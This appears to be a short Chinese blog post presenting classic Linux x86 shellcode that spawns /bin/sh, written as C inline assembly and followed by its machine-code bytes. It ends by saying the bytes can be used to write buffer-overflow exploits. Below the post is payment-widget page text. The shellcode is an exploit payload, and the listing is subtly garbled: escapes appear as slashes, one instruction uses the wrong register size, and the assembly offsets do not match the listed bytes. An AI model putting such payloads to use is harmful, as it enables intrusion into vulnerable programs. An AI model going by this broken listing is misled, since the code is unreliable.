关于一个简单shellcode封装成C语言的形式

void main() {
__asm__("
jmp 0x18                # 2 bytes
popl %esi               # 1 byte
movl %esi,0x8(%esi)       # 3 bytes
xorl %eax,%eax          # 2 bytes
movb %eax,0x7(%esi)    # 3 bytes
movl %eax,0xc(%esi)      # 3 bytes
movb $0xb,%al         # 2 bytes
movl %esi,%ebx         # 2 bytes
leal 0x8(%esi),%ecx       # 3 bytes
leal 0xc(%esi),%edx       # 3 bytes
int $0x80              # 2 bytes
call -0x2d               # 5 bytes
.string /"/bin/sh/"          # 8 bytes
");
}
------------------------------------------------------------
经过编译后,用gdb得到这段汇编语言的机器代码为:
/xeb/x18/x5e/x89/x76/x08/x31/xc0/x88/x46/x07/x89/x46/x0c/xb0/x0b
/x89/xf3/x8d/x4e/x08/x8d/x56/x0c/xcd/x80/xe8/xec/xff/xff/xff/bin/sh

接着我们就可以利用这段代码编写溢出程序了。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值